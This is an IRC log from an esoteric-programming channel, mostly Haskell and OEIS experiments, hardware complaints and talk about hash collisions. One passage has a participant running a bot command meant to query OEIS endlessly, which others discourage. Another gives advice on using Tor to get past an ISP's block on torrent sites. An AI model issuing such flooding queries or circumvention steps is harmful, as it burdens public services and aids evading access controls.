20:45:12 <lambdabot> [(,'c'),(,'a'),(,'b'),(,'e')](,)'l',(,)'m',(,)'r',(,)'s',
20:45:46 <oerjan> > map (flip (,) Rev) "scramble"
20:45:48 <lambdabot> [('s',),('r',),('m',),('l',)],'e'(,),'b'(,),'a'(,),'c'(,)
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20:49:05 <tswett> ^scramble Does_anyone_wonder_what_the_period_of_this_sentence_is?
20:49:05 <fungot> De_noewne_httepro_fti_etnei?s_censsh_odie_h_awrdo_nyaso
20:49:12 <tswett> ^scramble De_noewne_httepro_fti_etnei?s_censsh_odie_h_awrdo_nyaso
20:49:13 <fungot> D_owehtpofieniscns_deharonaosy_dw__iohse_?et_t_ret_nene
20:49:19 <tswett> ^scramble D_owehtpofieniscns_deharonaosy_dw__iohse_?et_t_ret_nene
20:49:19 <fungot> Doetoinsn_eaoas_w_os_e__e_eenntrtt?ehi_dyonrhdsciefphw_
20:50:03 <nooodl> ^scramble abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ012
20:50:03 <fungot> acegikmoqsuwyACEGIKMOQSUWY021ZXVTRPNLJHFDBzxvtrpnljhfdb
20:50:13 <tswett> > length "Dtdaspen_ds_h_ohtorssofeiiynewear?etc__enoho____enetniw"
20:50:21 <nooodl> ^scramble acegikmoqsuwyACEGIKMOQSUWY021ZXVTRPNLJHFDBzxvtrpnljhfdb
20:50:21 <fungot> aeimquyCGKOSW01XTPLHDzvrnjfbdhlptxBFJNRVZ2YUQMIEAwsokgc
20:50:23 <oerjan> i think we discussed the period as a function of length at one time
20:50:48 <oerjan> and possibly found the sequence on OEIS
20:51:11 <ion> ^scramble seclrbam
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20:53:18 <tswett> OEIS surely has the sequence corresponding to the highest period of any element in the group S_n.
20:53:55 <oerjan> yes but is that the same, we don't get _all_ permutations here
20:54:57 <tswett> Probably not the same.
20:55:09 <nooodl> @let scramble = concat . (_last %~ reverse) . transpose . chunksOf 2
20:55:51 <ion> > foldr (\x xs -> x:reverse xs) "seclrbam"
20:55:57 <ion> > foldr (\x xs -> x:reverse xs) [] "seclrbam"
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20:57:03 <nooodl> @let slength = ((\(x:xs) -> 1 + length (takeWhile (/= x) xs)) . iterate scramble)
20:57:17 <nooodl> > map slength [[1..n] | n <- [1..]]
20:57:20 <lambdabot> [1,1,2,3,3,5,6,4,4,9,6,11,10,9,14,5,5,12,18,12,10,7,12,23,21,8,26,20,9,29,30...
20:58:17 <oerjan> @oeis 1,1,2,3,3,5,6,4,4,9,6,11,10
20:58:21 <lambdabot> a(n) = card {cos((2^k)*Pi/(2*n-1)): k in N}.[1,1,2,3,3,5,6,4,4,9,6,11,10,9,1...
20:58:40 <nooodl> @oeis 0,1,2,3,3,5,6,4,4,9,6,11,10
20:58:43 <lambdabot> Least number m such that 2^m == +- 1 (mod 2n + 1).[0,1,2,3,3,5,6,4,4,9,6,11,...
20:59:38 <oerjan> @sequence 0,1,2,3,3,5,6,4,4,9,6,11,10
20:59:42 <lambdabot> Least number m such that 2^m == +- 1 (mod 2n + 1).[0,1,2,3,3,5,6,4,4,9,6,11,...
21:00:20 <bb010g> @oeis 1,1,2,3,3,5,6,4,4,9,6,11,10,9,14,5,5,12,18,12,10,7,12,23,21,8,26,20,9,29,30
21:00:22 <lambdabot> a(n) = card {cos((2^k)*Pi/(2*n-1)): k in N}.[1,1,2,3,3,5,6,4,4,9,6,11,10,9,1...
21:00:25 <oerjan> int-e: there should be a command to get the link page
21:01:14 <oerjan> nooodl: that 2^m think does ring a vague bell
21:01:33 <oerjan> as in, i may have once understood why that gives the same thing
21:01:54 <bb010g> https://oeis.org/A216066
21:03:20 <oerjan> the other one is https://oeis.org/A003558
21:03:39 <oerjan> and is linked from the former with "essentially the same as"
21:04:31 <HackEgo> [wiki] [[Talk:Brainfuck]] http://esolangs.org/w/index.php?diff=40301&oldid=39669 * Rdebath * (+7610) /* Syntax highlighting. */ new section
21:04:37 <b_jonas> oerjan: the old buubot plugin I made did give the link, but buubot is dead
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21:18:39 <b_jonas> its descendant perlbot still has that plugin working
21:19:09 <b_jonas> try /msg perlbot oeis: 3,20,28
21:19:25 <b_jonas> or if you want on a channel, try /msg #buubot perlbot oeis: 3,20,28
21:21:17 <int-e> > catalogNums <$> lookupSequence [1,1,2,3,3,5,6,4]
21:22:12 <bb010g> > lookupSequence [1,1,2,3,3,5,6,4]
21:22:14 <lambdabot> Just (OEIS {catalogNums = ["A072451"], sequenceData = [1,1,2,3,3,5,6,4,8,9,6...
21:22:39 <lambdabot> [String] -> SequenceData -> SequenceData -> String -> [String] -> [String] -> [String] -> [String] -> String -> Int -> Int -> [(Language, String)] -> [String] -> [String] -> [Keyword] -> [String] -> OEISSequence
21:23:01 <int-e> http://hackage.haskell.org/package/oeis-0.3.5/docs/Math-OEIS.html#t:OEISSequence
21:23:20 <lambdabot> SequenceData -> Maybe OEISSequence
21:23:27 <b_jonas> right... the buubot oeis plugin doesn't provide this detail, you have to follow the web link if you need the details
21:23:49 <int-e> (it's a crazy use of unsafePerformIO ... not sure that it should be trusted.)
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21:25:12 <b_jonas> int-e: the buubot plugin isn't written in haskell, does that makeit less crazy?
21:25:26 <oerjan> int-e: you could DOS OEIS with it, perhaps?
21:26:02 <int-e> oerjan: not effectively, I think
21:26:11 <int-e> (due to timeouts etc)
21:27:25 <bb010g> > foldl' getSequenceByID $ repeat "A000042"
21:27:27 <lambdabot> Couldn't match type ‘Data.Maybe.Maybe Math.OEIS.Types.SequenceData’
21:27:27 <lambdabot> Expected type: GHC.Base.String -> a -> GHC.Base.String
21:27:27 <lambdabot> -> Data.Maybe.Maybe Math.OEIS.Types.SequenceDataCouldn't matc...
21:27:55 <b_jonas> int-e: you could try with buubot too
21:28:22 <bb010g> > getSequenceByID <$> repeat "A000042"
21:28:26 <lambdabot> [Just [1,11,111,1111,11111,111111,1111111,11111111,111111111,1111111111,1111...
21:29:01 <b_jonas> but yeah, not very effectively, because the http queries to oeis will be serialized within one command you give to buubot
21:29:19 <b_jonas> you could try to use buubot's web interface to work around the irc rate limiting, but even then
21:29:25 <b_jonas> it's probably not very effective
21:29:34 <b_jonas> if you want to ddos oeis, there are probably better ways
21:29:41 <bb010g> 14:27:39 <bb010g> > foldl' (\x->getSequenceByID x`seq`()) $ repeat "A000042"
21:29:42 <b_jonas> also, don't do that even if you can
21:30:08 <bb010g> > (\x->getSequenceByID x`seq`()) <$> repeat "A000042"
21:31:35 <int-e> oeis really doesn't deserve that kind of malice. nor does lambdabot, imho
21:37:06 <b_jonas> I like buubot/perlbot, in case you haven't noticed. I helped make its macro system, which is I think more powerful than lambdabot's
21:45:07 <b_jonas> (only it's not very well documented, except by some cryptic single-line descriptions)
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21:58:58 <boily> quintopia: QUINTHELLOPIAAAAAAAAAAAAAA!
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22:13:28 <boily> > scramble "CHICKEN!"
22:13:39 <boily> > scramble "CIKN!ECH"
22:13:49 <boily> > scramble "CK!CHENI"
22:13:57 <boily> will it ever rechicken?
22:14:47 <b_jonas> > map scramble (repeat "CHICKEN!")
22:14:49 <lambdabot> ["CIKN!ECH","CIKN!ECH","CIKN!ECH","CIKN!ECH","CIKN!ECH","CIKN!ECH","CIKN!ECH...
22:15:00 <b_jonas> > map scramble (repeat "CHICKEN!")
22:15:03 <lambdabot> ["CIKN!ECH","CIKN!ECH","CIKN!ECH","CIKN!ECH","CIKN!ECH","CIKN!ECH","CIKN!ECH...
22:15:11 <Melvar> > iterate scramble "CHICKEN!"
22:15:13 <lambdabot> ["CHICKEN!","CIKN!ECH","CK!CHENI","C!HNIECK","CHICKEN!","CIKN!ECH","CK!CHENI...
22:16:10 <boily> I was one scrambled chicken away from the unomeletted form.
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22:43:45 <int-e> > sort "unchecked permit" == sort "permuted chicken"
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22:56:09 <int-e> are scrabble players good at finding anagrams? (I employ the help of computers for finding them)
22:58:17 <boily> meanwhile, images.google.ca is dead :(
23:01:15 <zzo38> Probably you can be good at playing at Scrabble if you can find anagrams, especially if it is Anagram Scrabble.
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23:02:37 <b_jonas> no, for Scrabble you just have to memorize the crazy wordlist, especially of the short words and the words with high scoring letters
23:02:59 <b_jonas> and you have to keep up the list as they rewise the scrabble dictionary
23:03:28 <b_jonas> well, maybe they did that only once, but that time they added "QI" which like changes the whole game
23:05:44 <b_jonas> https://en.wikipedia.org/wiki/Official_Scrabble_Players_Dictionary says the current English dictionary is the fourth edition, but a fifth edition is planned
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23:19:17 <zzo38> Actually just knowing all of the words isn't good enough for Scrabble; it is part of it but there is other strategy involved too.
23:22:52 <boily> a move made only because you want to hear your opponent exclaim “oh fungot” is perfectly valid.
23:22:52 <fungot> boily: only in an extremely indirect way you can have more than one
23:23:28 <fungot> b_jonas: argl... do i *have* to eat the donuts, everyone!
23:23:40 <b_jonas> fungot: so what do you think really happened to her?
23:23:41 <fungot> b_jonas: a programming language of the future
23:23:59 <boily> b_jonas: which her? remember, fungot has two girlfriends.
23:23:59 <fungot> boily: maybe rtfm actually stands for rich text format.
23:24:00 <fungot> b_jonas: there was fnord in front of
23:29:53 <boily> how's the weather down South?
23:31:14 <zzo38> Do you know? Now I wrote many thing of Super ASCII MZX Town and level20.tex story into the "All The Tropes". See if you like them, or want to complain about them, add more stuff if you have more idea to add, found mistakes and you can fix it, etc? We can make multiple views rather than only my own biased kind of opinions of it.
23:35:35 <boily> I miss warm. I was near LEZL last week.
23:37:34 <boily> on vacation with my parents :D
23:39:08 <quintopia> well, you're more than welcome to vacation again down here. it should be warm for at least another month, and I'll point you to the vacationy places.
23:40:46 <boily> good enough for me. it's been raining here since I got back, we've had day with 16 °C max... uuuurgh.
23:43:59 <quintopia> i imagine you're stuck there though, what with work and Responsible Adult Living
23:45:48 <boily> Stuck: check. Adult: check. Living: uhm... I'll go with check, just to be on the safe side.
23:50:50 <quintopia> i see you are silent on the subject of Responsible
23:52:14 <boily> ♪ LA LA LA I CAN'T HEAR YOU LA LA LA ♪
23:52:47 <boily> seriously, I am responsible. it's just a drag.
23:56:31 <olsner> boily: you were in saville, spain?
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23:57:34 <Melvar> So, I wrote a chunksOf : (n : Nat) -> List a -> (List (Vect (S n) a), BoundedList n a)
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23:59:56 <quintopia> i am most amused by the video on wikipedia of an antlion throwing sand at an ant to prevent it escaping its trap. insects are pretty cool.
00:00:27 <olsner> also somewhat terrifying
00:01:00 <boily> olsner: yep :D sevilla, jerez, cádiz, gibraltar, marbella.
00:04:36 <boily> it was! lots of sun, old architecture, tapas...
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00:11:02 <boily> time to achieve sleep. 'night all!
00:11:12 <boily> (btw, where is Taneb?)
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01:12:14 <bb010g> > (\s -> length $ takeWhile (!= s) $ iterate scramble s) "CHICKEN!"
01:12:16 <lambdabot> ‘!’ (imported from Data.Array), ‘M.!’ (imported from Data.Map),
01:12:16 <lambdabot> ‘IM.!’ (imported from Data.IntMap)Not in scope: ‘scramble’
01:13:13 <bb010g> > (\s -> length $ takeWhile (/= s) $ iterate scramble s) "CHICKEN!"
01:13:51 <bb010g> @let scramble = concat . (_last %~ reverse) . transpose . chunksOf 2
01:14:05 <bb010g> > (\s -> length $ takeWhile (/= s) $ iterate scramble s) "CHICKEN!"
01:14:20 <bb010g> 18:13:27 <bb010g> > (\s -> length $ takeWhile (/= s) $ tail $ iterate scramble s) "CHICKEN!"
01:16:46 <bb010g> > (\s -> length $ takeWhile (/= s) $ tail $ iterate scramble s) "CHICKEN!"
01:18:52 <bb010g> > (\s -> (+ 1) . length . takeWhile (/= s) $ tail $ iterate scramble s) "potato"
01:19:01 <bb010g> > (\s -> (+ 1) . length . takeWhile (/= s) $ tail $ iterate scramble s) "arbitrary phrase"
01:19:19 <bb010g> > (\s -> (+ 1) . length . takeWhile (/= s) $ tail $ iterate scramble s) "abc"
01:19:25 <bb010g> > (\s -> (+ 1) . length . takeWhile (/= s) $ tail $ iterate scramble s) "bcd"
01:20:01 <bb010g> > (\s -> (+ 1) . length . takeWhile (/= s) $ tail $ iterate scramble s) $ take 8 [1..]
01:21:37 <bb010g> > (\s -> (+ 1) . length . takeWhile (/= s) $ tail $ iterate scramble s) (take <$> length <*> id $ "CHICKEN!")
01:21:50 <bb010g> > (\s -> (+ 1) . length . takeWhile (/= s) $ tail $ iterate scramble s) (take <$> length <*> const [1..] $ "CHICKEN!")
01:22:29 <bb010g> > ((\s -> (+ 1) . length . takeWhile (/= s) $ tail $ iterate scramble s) . flip take [1..]) <$> [1..]
01:22:32 <lambdabot> [1,1,2,3,3,5,6,4,4,9,6,11,10,9,14,5,5,12,18,12,10,7,12,23,21,8,26,20,9,29,30...
01:23:22 <bb010g> Oh. We got that earlier. :(
01:49:58 <Sgeo> Time to complain about Haskell on Reddit.
01:50:10 <Sgeo> (And by Haskell, I mean one common example of a GHC language extension)
02:23:38 <bb010g> Sgeo: Which extension?
02:26:10 <Sgeo> DeriveGenerics
02:26:23 <Sgeo> Although I guess the Generics mechanism is closer to the actual issue
02:26:28 <Sgeo> And I guess that's not an extension?
02:26:43 <Sgeo> http://www.reddit.com/r/haskell/comments/2douzn/problem_with_popular_ghcgenerics_example/
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13:20:59 <Phantom_Hoover> my windows partition now boots into system restore, which faffs around for a while and then says nothing can be done
13:26:57 <oerjan> sounds like an analogy of my life
13:26:57 <Phantom_Hoover> helpfully it also provides no meaningful diagnostic information
13:27:49 <J_Arcane> I spent this morning trying to fix broken graphics drivers in Debian only to discover that there's no fglrx-driver for jessie.
13:34:42 <Melvar> What do you need fglrx for?
13:57:04 <J_Arcane> opengl on my card is broken since the last kernel update. hell I don't even get proper framebuffer mode in the console. X still works, but Steam complains even starting and none of my games work because OpenGL is broken.
14:00:23 <Phantom_Hoover> when i had a laptop with an intel chip there was some random driver update which made it crash if i ever used anything that tried to use shaders
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14:19:08 <J_Arcane> Phantom_Hoover: It's a Radeon, actually, but that is still sort of the problem.
14:19:28 <J_Arcane> AMD cut support for anything prior to the 5xxx series, and I have a 4890.
14:20:01 <J_Arcane> Yeah. I was an ATI loyalist for nearly a decade, but AMD has more or less murdered that with this card.
14:23:08 <fizzie> If I switch from X to a non-X virtual console, my machine beeps and irrevocably futzes up the display. Welcome to nvidia hell.
14:23:11 <fizzie> (Admittedly they say it doesn't play nice with framebuffer devices, but I haven't managed to disable the UEFI one in any way.
14:36:51 <Melvar> I have a Radeon HD 4650, and it’s been running fine with the radeon driver ever since AMD stopped updating fglrx for it.
14:39:37 <Melvar> Except a few days ago, when trying to get a game running in wine got the card to lock up, panicking the kernel. But between the support cut and a few days ago, I had no discernably graphics card related problems.
14:40:07 <elliott> Melvar: how long ago was the support cut? :p
14:46:16 <J_Arcane> Melvar: IF was on debian stable, it would've been fine, but there was a kernel update to testing, two actually in as many days, and ATI support broke with it. So unless someone patches it ...
14:47:57 <Melvar> elliott: I’m having a hard time finding it, but a few years certainly.
14:48:16 <elliott> Melvar: it would be funnier if the support cut, e.g. two months ago.
14:48:30 <elliott> that was how I originally read it and I'm not sure why.
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21:34:44 <oerjan> > 23514624000 :: Int32
21:37:57 <oerjan> > 23514624000 :: Int64
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21:45:41 <Phantom__Hoover> fuck me, virgin media have managed to ban all the torrentz proxies i can find
21:46:04 <elliott> Phantom__Hoover: https://www.torproject.org/projects/torbrowser.html.en#downloads
21:46:56 <elliott> you click it, you open it, it's firefox, you use torrentz, job done?
21:47:24 <elliott> there is no reason to go around looking for website-specific proxies when tor does it better and just as easily
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21:51:51 <Bike> can you use bittorrent through tor?
21:51:55 <Bike> i have no idea how tor works, i think
21:52:06 <pikhq> Bike: Yes, but you shouldn't.
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21:52:35 <pikhq> Tor lets you essentially tunnel TCP streams through it.
21:52:57 <pikhq> Using BitTorrent on it is just rude, because it really strains the network.
21:53:34 <pikhq> Yeah. For that sort of thing you should just get some sort of VPN provider.
21:54:12 <elliott> https://blog.torproject.org/blog/bittorrent-over-tor-isnt-good-idea
21:54:40 <pikhq> Makes perfect sense that it's doing that, but yeah.
21:54:50 <pikhq> So, it's rude *and* defeats the point.
21:55:38 <pikhq> Oh, *right*, tracker communication is usually UDP.
21:55:50 <pikhq> And uTP is tunneled over UDP as well.
21:55:55 <elliott> it's understandable that the tor browser bundle defaults to scripts being on these days but it still makes me :/
21:56:15 <elliott> even if they've gone to some length to minimise the fingerprinting you can do with it
21:57:20 <elliott> btw, you should stick to https:// versions of sites (torrentz does it) on tor if at all possible, since exit relays can do whatever they want with your traffic
21:57:34 <elliott> probably not a big deal for torrenting though
21:57:47 <pikhq> Combination of the network getting much faster and the Tor browser bundle doing some stuff to make HTTP work better over a high-latency link.
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21:58:06 <elliott> but entering passwords unencrypted over Tor is sort of a bad idea. (admittedly, that applies to the internet at large, but Tor makes it easier to be the man in the middle)
21:58:22 <elliott> pikhq: huh, what special stuff does it do? that sounds interesting
21:59:01 <pikhq> In short, uses Polipo as a proxy. Main notable thing that Polipo does is HTTP pipelining.
21:59:12 <pikhq> Which believe it or not *browsers still don't do*.
21:59:33 <elliott> I seem to remember hearing a good reason for that, but I forget what it was
21:59:49 <pikhq> Misbehaving servers screw it up.
22:00:22 <pikhq> Which is why Polipo actually keeps data on whether or not a given server behaves. :)
22:00:47 <elliott> it'd be nice to live in a world where the Tor network was low-latency and high-capacity enough to run all traffic over it, and it supported UDP
22:01:02 <pikhq> The other reason for using Polipo is that Polipo can just tunnel over SOCKS, which makes using Tor for HTTP stuff *really easy*.
22:01:16 <elliott> Tor is already a SOCKS proxy
22:01:25 <pikhq> Yes, but Polipo is an HTTP proxy.
22:01:42 <elliott> oh, um, I guess I don't know what you mean by the line I replied to
22:01:55 <pikhq> That can talk SOCKS instead of dialing out via normal TCP.
22:02:25 <pikhq> I.e. you can do browser -> polipo -> tor.
22:02:52 <pikhq> Not *that* helpful for Firefox, but there's a lot of stuff that doesn't speak SOCKS but does speak HTTP proxy.
22:03:24 <elliott> I take back my previous statement. it'd be nice to live in the world where the global network was anonymous, encrypted and authenticated by design.
22:04:23 <pikhq> There's a lot of incredibly stupid and pointless lacks-of-security in networking...
22:04:59 <elliott> ideally IP addresses would just be randomly-generated public keys, I think.
22:05:33 <pikhq> If designing from the ground up? Probably.
22:05:54 <elliott> well, yes. how else are you going to get a network that's anonymous, encrypted and authenticated by design?
22:06:50 <pikhq> Pity security's hard.
22:08:09 <Phantom__Hoover> speaking of which, magnets are just hashes of their files, right?
22:08:19 <elliott> Phantom__Hoover: plus a list of trackers, often
22:08:27 <pikhq> magnet URIs for BitTorrent? Basically, yeah.
22:08:49 <pikhq> Slightly more complicated than that, but it amounts to just a hash of the contents.
22:08:51 <Phantom__Hoover> i know collisions are very unlikely under normal circumstances, but could you not construct two files with the same hash and use that to nefarious ends?
22:09:00 <elliott> Phantom__Hoover: my ecommendation for getting torrents you found on torrentz is to use https://torcache.net/torrent/<torrent hash from the torrentz url>.torrent
22:09:04 <pikhq> Yes. Yes you could.
22:09:10 <elliott> if you can construct two files with the same hash, you can break a lot more than bittorrent
22:09:24 <pikhq> Though the hash is, of course, really dang hard to break.
22:09:33 <pikhq> Especially because the BT info hash is a hash of hashes...
22:09:41 <elliott> pikhq: I sometimes worry the security-is-impossible fearmongering makes us all give up on security.
22:09:52 <ais523_> elliott: well MD5 collisions are within the range of normal people now, aren't they?
22:09:54 <pikhq> elliott: Quite likely.
22:10:06 <elliott> wow, bittorrent still uses md5?
22:10:09 <pikhq> ais523_: Mostly length extension attacks.
22:10:16 <ais523_> elliott: no, but my point is
22:10:28 <ais523_> that hashes once thought secure have a tendency to not be
22:10:30 <elliott> ais523_: well, the idea is to move off a hash before there are practical breaks of it
22:10:31 <Phantom__Hoover> well i know random hash collisions are almost impossible, and that engineering a hash collision for a predetermined file is just as impossible, but not what the situation was with two files you both picked
22:10:39 <elliott> ais523_: protocols should plan ahead for changing the hash they use
22:10:54 <pikhq> Perversely BitTorrent totally has not.
22:11:20 <elliott> Phantom__Hoover: if we know x, y s.t. hash(x) = hash(y) no matter how we derived x and y then that hash function is well beyond dead and buried, basically
22:11:40 <ais523_> incidentally, I sometimes use MD5 when I want a hash that doesn't have random collisions, and don't care about it being a cryptohash
22:11:56 <pikhq> ais523_: For that I'd actually recommend using CRC32.
22:11:57 <ais523_> because it's the most likely to be in language stdlibs
22:12:04 <pikhq> At least then you don't pretend it has security.
22:12:25 <ais523_> pikhq: that's got like a 1 in 60000 chance of random collisions because of the birthday paradox
22:12:30 <elliott> Phantom__Hoover: finding x, y s.t. H(x) = H(y) is finding a collision; finding x s.t. H(x) = h for some known h is a preimage attack; finding y =/= x s.t. H(y) = H(x) for known x is a second-preimage attack
22:12:57 <elliott> collisions are easier than preimage attacks. preimage attacks are what you need to break passwords, say
22:13:01 <pikhq> ais523_: Well. True. *shrug*
22:13:14 <elliott> but being able to do any of them in practice means we should have moved off that hash years ago
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22:14:01 <ais523_> I think the current belief is that if a hash turns out to be even one bit less secure that people thought it was, it's likely going to be broken at some point and you should move on
22:14:41 <pikhq> Better paranoid than hacked.
22:14:42 <ais523_> that's why people are dubious about SHA-1, there are no practical or even impractical attacks generally known, but IIRC there is a way to brute-force it slightly faster than the theoretical maximum
22:14:53 <elliott> http://valerieaurora.org/monkey.html has some nice tables that may be outdated by now
22:15:05 <elliott> well, is definitely outdated; only goes to 2009
22:15:20 <ais523_> pikhq: I agree with that practice, basically if your hash isn't as strong as you thought it was, it means you don't understand it properly
22:15:27 <ais523_> and someone else might understand it better than you
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10:51:28 <Vorpal> hy (Also what the crap was ꙮ?)
10:51:41 <HackEgo> 1138) <shachaf> A Swede who was in #esoteric / Thought his rhymes were a little generic. / "I might use, in my prose, / ꙮs, / But my poetry's alphanumeric."
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10:52:23 <oerjan> you've been away too long, Vorpal. also, you must be the wrong swede.
10:52:42 <Vorpal> oerjan, yeah I guess so. I don't what that thing is supposed to be, it is just a blur on my screen
10:53:09 <HackEgo> [U+A66E CYRILLIC LETTER MULTIOCULAR O]
10:54:00 <Vorpal> Seems like a pain to write
10:54:30 <oerjan> copy and paste is your friend
10:55:03 <Vorpal> oerjan, I mean with a pen
10:55:15 <Vorpal> oerjan, presumably it originated in a non-digital age
10:55:25 <oerjan> you need a calligraphic one, blessed by the patriarch hth
10:56:56 <oerjan> it's original use was solely for a single spot in some manuscripts of the cyrillic bible
10:57:41 <oerjan> (on the o in the word meaning "many-eyed")
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11:01:31 <oerjan> so basically, if you're a medieval monk, you can get your doodles copied and eventually embedded in unicode.
11:03:17 <Vorpal> oerjan, anyway I don't rhyme (thyme), so that Swede wouldn't be me, see?
11:03:30 <Vorpal> See when I try to rhyme it ends up being terrible
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11:06:54 <Vorpal> oerjan, I should setup a znc on my VPS so I can be here more. By being here I mean idle of course
11:06:59 <Vorpal> instead of being disconnected
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11:55:17 <boily> good morning! anybody alive today?
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13:46:37 <boily> (meanwhile, I need to disappear. will probably be back tomorrow.)
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18:12:26 <TieSoul> https://github.com/TieSoul/RubyFunge look it's RubyFunge :P
18:12:40 <TieSoul> My new Befunge-98 interpreter
18:25:35 <zzo38> I have some idea about how to use sizeof in a C code with zero length arrays and zero length data structures. It would involve the compiler to use a kind of lazy evaluation when multiplying and dividing by zero.
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18:27:01 <zzo38> Well, are there any programming languages that will use lazy evaluation if you try to divide by zero?
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20:22:54 <int-e> fungot: what do you know about julian assange?
20:22:54 <fungot> int-e: is there any other major dialects of lisp. so, there is no case in your macro language inside scheme code) on how to graphically visualize this list of defaults: http://www196.pair.com/ lisovsky/ scheme/ io.txt
20:24:19 <int-e> @google collateral murder
20:24:20 <lambdabot> http://www.youtube.com/watch?v=5rXPrfnU3G0
20:24:46 <int-e> now all we need a bot to display the title of that page
20:24:54 <zzo38> ^ul (k)(i)(w)SSS(i)S(s)(ak)(e)(l)SSSS
20:27:15 <elliott> hmm, I guess that script isn't actually loaded even though it's in ~/.irssi/scripts.
20:34:59 <int-e> elliott: you can put scripts in ~/.irssi/autorun
20:36:33 <elliott> int-e: this script may not be the best thing to put in autorun.
20:36:55 <int-e> elliott: I don't know what it does :P
20:37:59 <elliott> if anyone wants to have fun, set their username and nick to include wikileaks, and then join, and say something with wikileaks in it.
20:38:06 <elliott> "fun" is hereby defined as being automatically kickbanned.
20:38:45 <elliott> I'm pretty sure it was meant to match on any one of those.
20:39:55 <int-e> J_Arcane: quick, what's the key combination to undo C-x n n ? ;-)
20:40:10 <J_Arcane> no fuckin' clue. i'm still a noob. :D
20:40:48 <J_Arcane> I'm just tinkering with eww and 24.4 at the moment.
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20:43:40 <J_Arcane> Or rather, trying to fix doc-view-mode after setting up 24.4. I think I have a version mismatch in my dlls inherited from 24.3
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20:58:25 <J_Arcane> Hah! I am victorious. Mostly. I now have emacs 24.4 with working eww and PDF viewing.
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22:16:54 <HackEgo> [wiki] [[Lambda]] http://esolangs.org/w/index.php?diff=40302&oldid=37874 * 71.34.6.155 * (+56) Replaced dead link with Internet Archive version
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22:23:00 <HackEgo> [wiki] [[Lambda]] http://esolangs.org/w/index.php?diff=40303&oldid=40302 * 71.34.6.155 * (-44) Didn't know about the wayback template
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23:08:32 <quintopia> elliott: what happened to warrant such measures?
23:09:49 <elliott> quintopia: someone spamming
23:11:36 <quintopia> most auto-spamming that i've ever seen would be easily prevented in a +m channel that gives users voice after they've been in the channel for 30 seconds.
23:12:49 <quintopia> yep. in that case, i know of no way except banning and banning and banning
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23:14:42 <quintopia> I'm in a channel that had a regular spammer who would just come in the channel and constantly repeat the topic and minor variations on it. This behavior stopped when we changed the topic to "I am a horrible uncreative spammer." and left it like that. Last time they came in, said something like "fuck you guys" and left.
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00:22:03 <Sgeo> https://ghc.haskell.org/trac/ghc/ticket/9453
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02:55:42 <Sgeo> Did ASP.NET and Netscape Navigator live concurrently?
02:56:04 <Sgeo> I found a website with an FAQ talking about Netscape Navigator, but written in ASP.NET
03:15:48 <Sgeo> https://www.sss.gov/RegVer/wfContentRegistrationFAQs.aspx
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04:04:36 <Sgeo> My dad seems to assume I was automatically registered, because this is the computer age, and 'Uncle Sam knows all!'
04:04:47 <Sgeo> Uh. That was meant for a different channel.
04:05:22 <boilyphone> Everything is meant for here. Especially that which isn't.
04:06:12 <lexande> Sgeo: the FAQ could have just been imported automatically somehow
04:06:34 <Bike_> man i hope you ain't talkin bout SSS
04:06:37 <Sgeo> That's scarier. Technical FAQ for a site unrelated to the FAQ
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04:07:32 <lexande> Sgeo: but anyway Netscape made Mozilla and later Firefox based releases thru 2007
04:07:43 <lexande> ASP.NET released january 2002
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04:15:50 <Sgeo> Why does this PDF exist? http://www.sss.gov/SSSYOU/sss&you.pdf
04:18:15 <Bike> what the heck sgeo, haven't you already graduated college?
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04:35:44 <pikhq> I think the most notable feature of those Netscape releases was that it had AIM built in too.
04:35:50 <pikhq> I don't know why but it totally did.
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06:46:10 <lexande> Bike: you can register until you turn 25. in later life government jobs and such may autoreject you if you never registered, but not care if you registered late. so registering soon before their 25th birthday is a thing people do.
06:46:42 <Bike> yeah, but i thought you needed SSS to get federal loans for school, see
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08:07:34 <HackEgo> [wiki] [[Brainfuck implementations]] http://esolangs.org/w/index.php?diff=40304&oldid=40297 * Rdebath * (+40) Normal implementations: Found a few zombie links
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09:11:22 <oerjan> ff today's tunes logs aren't recognized as text again :(
09:11:40 <oerjan> (and codu logs are still down)
09:12:19 <oerjan> well time to pipe through wget
09:12:53 <shachaf> you could just not read the logs for a few days
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09:14:18 <oerjan> but then i wouldn't know what was happening :(
09:15:10 <oerjan> also, it's just today. it seems to happen whenever HackEgo makes a wiki announcement near the beginning of the logs; the ^Cs confuse IE to think it's not text
09:16:04 <oerjan> for yesterday's logs, it recognizes that it's text, but not that it's utf-8
09:20:56 <shachaf> Oh, this is an IE thing, not a server-side content-type thing?
09:23:54 <oerjan> well it's presumably a combination
09:24:16 <oerjan> as in, the server does nothing and IE tries to guess
09:25:51 <oerjan> ok, maybe the server sends text/plain and IE tries to be too clever
09:28:13 * oerjan found the right option to show the headers with wget
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09:50:16 <oerjan> ah putting http://tunes.org in restricted zone disables it
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10:20:30 <Taneb> fungot, what wisdom have you to share?
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10:21:01 <oerjan> brave sir fungot ran away
10:22:08 <boily> Tanelle. hellørjan.
10:25:21 <shachaf> i have mail addressed to a person which was accidentally delivered to me
10:25:32 <shachaf> what are the best strategies on getting it to that person
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10:33:07 <boily> shachaf: regular mail, or internal or something exotic?
10:33:30 <b_jonas> shachaf: try to meet the postman when he comes to your house, and give the mail to him or her telling it's misdelivered
10:33:54 <shachaf> the mail was delivered some months ago to a mailbox some hundreds of miles away
10:34:03 <shachaf> (more hundreds of miles than months)
10:36:13 <shachaf> here is a game: if your operation is "translate from language X to Y, then transliterate from Y to X", how long of a chain can you make of this operation?
10:36:57 <b_jonas> I think there was a chain of 3 from short words or something. chain of 2 is easy of course
10:37:27 <b_jonas> wait, I think you can make an infinite chain from a simple fixed point
10:38:12 <shachaf> i guess fixed points make it too easy
10:38:29 <Taneb> Trivia: XBox 360 support sucks
10:38:33 <b_jonas> so do you count only the number of unique edges?
10:39:11 <b_jonas> ok, let me think what was the length 3 chain
10:49:43 <b_jonas> I guess you could get choose(n,2) edges from a set of n synonms that work in two related languages
10:50:15 <b_jonas> so let's say you want a subjectively nice chain
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10:56:26 <oerjan> i assume the transliteration is trivial if they share an alphabet
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11:10:53 <shachaf> oerjan: i think i'd allow you to change the spelling in some cases
11:11:06 <shachaf> and also pick the optimal reasonable translation to make the chain work
11:36:19 <TieSoul> I'm solving Project Euler in Befunge :P
11:36:57 <TieSoul> I've now solved problems 1, 2 and 6 in Befunge
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12:32:54 <fungot> Deewiant: but don't force applications to be written to at some point add " if already defined, override the old one
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12:38:42 <fungot> TieSoul: i need to convince to get one, but i am
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14:28:50 <Sgeo> Apparently I am registered for the selective service
14:35:13 <elliott> presumably you registered when you were 18...?
14:35:25 <Sgeo> A few months late, but yes.
